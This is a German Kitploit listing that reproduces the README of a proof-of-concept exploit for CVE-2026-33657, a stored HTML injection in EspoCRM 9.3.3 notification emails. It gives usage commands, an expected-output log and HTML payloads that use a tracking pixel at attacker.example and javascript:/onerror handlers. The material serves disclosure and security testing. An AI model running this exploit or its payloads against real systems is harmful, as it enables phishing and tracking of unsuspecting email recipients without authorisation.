Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-33657 — EspoCRM 9.3.3 – Gespeicherte HTML-Injektion in E-Mail-Benachrichtigungen | Kitploit
Tools/GitHubGitHub/entrovyx/cve-2026-33657
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstests
GitHubentrovyx/cve-2026-33657

CVE-2026-33657

EspoCRM 9.3.3 – Gespeicherte HTML-Injektion in E-Mail-Benachrichtigungen

Repository anzeigen
7vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-33657 - EspoCRM 9.3.3 Gespeicherte HTML-Injektion in E-Mail-Benachrichtigungen

Authentifizierter Proof-of-Concept für gespeicherte HTML-Injektion in EspoCRM 9.3.3 E-Mail-Benachrichtigungen.

Zusammenfassung

EspoCRM 9.3.3 rendert Stream-Notiz-Benachrichtigungs-E-Mails, indem der Notiztext mit Markdown transformiert und das resultierende HTML mit dreifachen geschweiften Klammern ({{{post}}}) in E-Mail-Vorlagen eingefügt wird. Ein authentifizierter Benutzer, der einen Stream-Beitrag erstellen und eine Benachrichtigung auslösen kann, kann vom Angreifer kontrolliertes HTML speichern, das später im generierten E-Mail-Body gerendert wird.

Der Exploit führt den vom Angreifer kontrollierten Remote-Teil des Ablaufs aus:

  1. Authentifiziert sich bei EspoCRM.
  2. Ermittelt optional die Version über /api/v1/App/user.
  3. Erstellt eine bösartige Note, die HTML enthält.
  4. Verwendet --mention oder --target-user-id, um ein Benachrichtigungsziel in die Warteschlange zu stellen.
  5. Bestätigt, dass der Payload gespeichert ist und das Benachrichtigungsziel in der API-Antwort vorhanden ist.

Die E-Mail-Zustellung erfolgt, wenn der normale SendEmailNotifications-Job oder Cron von EspoCRM die in der Warteschlange befindliche Benachrichtigung verarbeitet.

Betroffene Version

  • Verwundbar: EspoCRM 9.3.3
  • Behoben: EspoCRM 9.3.4
  • Advisory: https://github.com/espocrm/espocrm/security/advisories/GHSA-8prm-r5j9-j574
  • CVE: CVE-2026-33657
  • CWE: CWE-80

Anforderungen

  • Python 3
  • requests
  • Gültige EspoCRM-Anmeldedaten
  • Fähigkeit, Stream-Note-Datensätze zu erstellen
  • Ein Benachrichtigungsziel:
    • --mention <benutzername> für Erwähnungs-E-Mail-Benachrichtigungen, oder
    • --target-user-id <id> für gezielte Stream-Beitrags-Benachrichtigungen

Abhängigkeit installieren:

python3 -m pip install requests

Verwendung

Bevorzugter erwähnungsbasierter Pfad:

python3 CVE-2026-33657.py \
  -u http://127.0.0.1:8083 \
  -U testuser \
  -P 'Admin12345!' \
  --mention admin

Eine benutzerdefinierte Tracking-URL verwenden:

python3 CVE-2026-33657.py \
  -u https://target.example \
  -U user \
  -P 'password' \
  --mention victim \
  --tracking-url https://attacker.example/pixel.gif

Einen vollständig benutzerdefinierten HTML-Payload verwenden:

python3 CVE-2026-33657.py \
  -u https://target.example \
  -U user \
  -P 'password' \
  --mention victim \
  --payload '<img src="https://attacker.example/p.gif" onerror="alert(33657)"><a href="javascript:alert(33657)">open</a>'

Eine bestimmte Benutzer-ID anstelle einer Erwähnung anvisieren:

python3 CVE-2026-33657.py \
  -u https://target.example \
  -U user \
  -P 'password' \
  --target-user-id 0123456789abcdef0 \
  --target-user-name 'Victim User'

Nur Fingerprinting, ohne eine Notiz zu erstellen:

python3 CVE-2026-33657.py \
  -u https://target.example \
  -U user \
  -P 'password' \
  --detect-only

Optionen

-u, --url                 Basis-EspoCRM-URL
-U, --username            EspoCRM-Benutzername
-P, --password            EspoCRM-Passwort
--mention                 Zu erwähnender Benutzername, ohne @
--target-user-id          Benutzer-ID für gezielte Stream-Beitrags-Benachrichtigungen
--target-user-name        Anzeigename für --target-user-id
--payload                 Roher HTML-Payload, der in der Note gespeichert werden soll
--tracking-url            Tracking-Pixel-URL, die vom Standard-Payload verwendet wird
--link-url                Link-URL, die vom Standard-Payload verwendet wird
--marker                  Markierungstext, der dem Payload vorangestellt wird
--detect-only             Nur Version per Fingerprinting ermitteln; keine Note erstellen
--skip-version-check      /api/v1/App/user vor der Ausnutzung überspringen
--force                   Fortfahren, auch wenn der Versions-Fingerprint nicht 9.3.3 ist
--insecure                TLS-Zertifikatsprüfung deaktivieren

Erwartete Ausgabe

Ein erfolgreicher Lauf erstellt eine bösartige Notiz und bestätigt das Benachrichtigungsziel:

[*] /api/v1/App/user: HTTP 200
[*] Detected version: 9.3.3
[+] Version fingerprint is vulnerable: EspoCRM 9.3.3.
[*] Creating malicious Note as testuser
[*] Note response: HTTP 200 ...
[+] Exploit payload stored in Note post.
[+] Note id: 69fddeef8db756271
[+] Mention parsed: @admin -> user id 69fdcfb66c34ccb81
[+] Notification target list returned by API: 69fdcfb66c34ccb81
[+] Complete remote trigger submitted.

Auf einer verwundbaren Instanz bewahrt der generierte HTML-E-Mail-Body das injizierte HTML. Ein Labor-Capture sieht wie folgt aus:

<img src="http://attacker.example/full-process.gif" width="1" height="1" onerror="alert(33657)">
<a href="javascript:alert(33657)" style="color:red">re-auth</a>

Labor-Verifizierung

In einem lokalen EspoCRM-Labor den Benachrichtigungs-Job nach dem Ausführen des Exploits auslösen:

sudo -u www-data php command.php run-job SendEmailNotifications

Der resultierende E-Mail-Body sollte das injizierte HTML im text/html-Teil enthalten.

Hinweise

  • Der Exploit benötigt keinen Shell-Zugriff auf das Ziel; Shell-Zugriff ist nur für die lokale Labor-Verifizierung des in der Warteschlange befindlichen E-Mail-Jobs nützlich.
  • Wenn die API @@version meldet, handelt es sich beim Ziel wahrscheinlich um einen Source-Tree-Build. Das Skript fährt fort, da der zugrunde liegende Code möglicherweise weiterhin das verwundbare 9.3.3-Tag ist.
  • Wenn --mention keine geparste Erwähnung erzeugt, die messagePermission und mentionPermission des Angreifers prüfen und bestätigen, dass der Zielbenutzername existiert und Benachrichtigungen empfangen kann.
Tool herunterladen